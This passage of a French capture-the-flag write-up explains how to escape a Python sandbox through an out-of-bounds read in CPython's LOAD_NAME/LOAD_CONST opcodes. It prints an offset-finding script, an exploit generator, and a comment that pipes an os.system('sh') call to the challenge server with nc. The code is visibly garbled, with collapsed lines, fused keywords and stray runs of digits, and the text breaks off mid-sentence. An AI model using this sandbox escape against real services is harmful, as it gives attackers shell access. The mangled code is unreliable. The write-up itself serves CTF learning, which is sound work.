Nous pouvons utiliser la fonction de lecture OOB dans l'opcode LOAD_NAME / LOAD_CONST pour obtenir un symbole dans la mémoire. Cela signifie utiliser des astuces comme (a, b, c, ... des centaines de symboles ..., __getattribute__) if [] else [].__getattribute__(...) pour obtenir un symbole (tel qu'un nom de fonction) que vous souhaitez.
Ensuite, il suffit de créer votre exploit.
Aperçu
Le code source est assez court, ne contient que 4 lignes !
Vous pouvez entrer du code Python arbitraire, et il sera compilé en un objet de code Python. Cependant, co_consts et co_names de cet objet de code seront remplacés par un tuple vide avant d'évaluer cet objet de code.
Ainsi, toute expression contenant des constantes (par exemple des nombres, des chaînes, etc.) ou des noms (par exemple des variables, des fonctions) pourrait provoquer une violation de segmentation à la fin.
Lecture hors limites
Comment se produit la violation de segmentation ?
Commençons par un exemple simple, [a, b, c] pourrait être compilé en le bytecode suivant.
Mais que se passe-t-il si co_names devient un tuple vide ? L'opcode LOAD_NAME 2 est toujours exécuté et tente de lire la valeur à partir de cette adresse mémoire où elle aurait dû être initialement. Oui, c'est une fonctionnalité de lecture hors limites.
Le concept principal de la solution est simple. Certains opcodes dans CPython, par exemple LOAD_NAME et LOAD_CONST, sont vulnérables (?) à la lecture hors limites.
Ils récupèrent un objet à partir de l'index oparg du tuple consts ou names (c'est ce que co_consts et co_names sont nommés en interne). Nous pouvons nous référer au court extrait suivant sur LOAD_CONST pour voir ce que CPython fait lorsqu'il traite l'opcode LOAD_CONST.
case TARGET(LOAD_CONST): {PREDICTED(LOAD_CONST);PyObject *value =GETITEM(consts, oparg);Py_INCREF(value);PUSH(value);FAST_DISPATCH();}1234567
De cette manière, nous pouvons utiliser la fonction OOB pour obtenir un "nom" à partir d'un décalage mémoire arbitraire. Pour vérifier quel nom il a et quel est son décalage, il suffit de continuer à essayer LOAD_NAME 0, LOAD_NAME 1 ... LOAD_NAME 99 ... Et vous pourriez trouver quelque chose à propos de oparg > 700. Vous pouvez également essayer d'utiliser gdb pour jeter un œil à la disposition de la mémoire bien sûr, mais je ne pense pas que ce serait plus facile?
Générer l'Exploit
Une fois que nous avons récupéré ces décalages utiles pour les noms / constantes, comment obtenir un nom / constante à partir de ce décalage et l'utiliser? Voici un truc pour vous:
Supposons que nous puissions obtenir un nom __getattribute__ à partir du décalage 5 (LOAD_NAME 5) avec co_names=(), il suffit de faire ce qui suit:
[a,b,c,d,e,__getattribute__] if [] else [[].__getattribute__# you can get the __getattribute__ method of list object now!]1234
Notez qu'il n'est pas nécessaire de le nommer __getattribute__, vous pouvez le nommer de manière plus courte ou plus étrange
Vous pouvez comprendre la raison en visualisant simplement son bytecode :
Remarquez que LOAD_ATTR récupère également le nom à partir de co_names. Python charge les noms à partir du même décalage si le nom est le même, donc le deuxième __getattribute__ est toujours chargé à partir du décalage=5. En utilisant cette fonctionnalité, nous pouvons utiliser un nom arbitraire une fois que le nom est en mémoire à proximité.
Pour générer des nombres, cela devrait être trivial :
0 : not [[]]
1 : not []
2 : (not []) + (not [])
...
Script d'Exploitation
Je n'ai pas utilisé de constantes en raison de la limite de longueur.
Tout d'abord, voici un script pour nous permettre de trouver ces décalages de noms.
from types import CodeTypefrom opcode import opmapfrom sys import argvclassMockBuiltins(dict):def__getitem__(self,k):iftype(k)==str:return kif__name__=='__main__':n =int(argv[1])code = [*([opmap['EXTENDED_ARG'], n //256]if n //256!=0else []),opmap['LOAD_NAME'], n %256,opmap['RETURN_VALUE'],0]c =CodeType(0, 0, 0, 0, 0, 0,bytes(code),(), (), (), '<sandbox>', '<eval>', 0, b'', ())ret =eval(c, {'__builtins__': MockBuiltins()})if ret:print(f'{n}: {ret}')# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132
Et le suivant est pour générer l'exploit Python réel.
import sysimport unicodedataclassGenerator:# get numnerdef__call__(self,num):if num ==0:return'(not[[]])'return'('+ ('(not[])+'* num)[:-1] +')'# get stringdef__getattribute__(self,name):try:offset =None.__dir__().index(name)returnf'keys[{self(offset)}]'exceptValueError:offset =None.__class__.__dir__(None.__class__).index(name)returnf'keys2[{self(offset)}]'_ =Generator()names = []chr_code =0for x inrange(4700):whileTrue:chr_code +=1char = unicodedata.normalize('NFKC', chr(chr_code))if char.isidentifier()and char notin names:names.append(char)breakoffsets ={"__delitem__":2800,"__getattribute__":2850,'__dir__':4693,'__repr__':2128,}variables = ('keys','keys2','None_','NoneType','m_repr','globals','builtins',)for name, offset in offsets.items():names[offset]= namefor i, var inenumerate(variables):assert var notin offsetsnames[792+ i]= varsource =f'''[({",".join(names)}) if [] else [],None_ := [[]].__delitem__({_(0)}),keys := None_.__dir__(),NoneType := None_.__getattribute__({_.__class__}),keys2 := NoneType.__dir__(NoneType),get := NoneType.__getattribute__,m_repr := get(get(get([],{_.__class__}),{_.__base__}),{_.__subclasses__})()[-{_(2)}].__repr__,globals := get(m_repr, m_repr.__dir__()[{_(6)}]),builtins := globals[[*globals][{_(7)}]],builtins[[*builtins][{_(19)}]](builtins[[*builtins][{_(28)}]](), builtins)]'''.strip().replace('\n', '').replace(' ', '')print(f"{len(source) = }", file=sys.stderr)print(source)# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
Il fait essentiellement les choses suivantes, pour les chaînes que nous obtenons à partir de la méthode __dir__: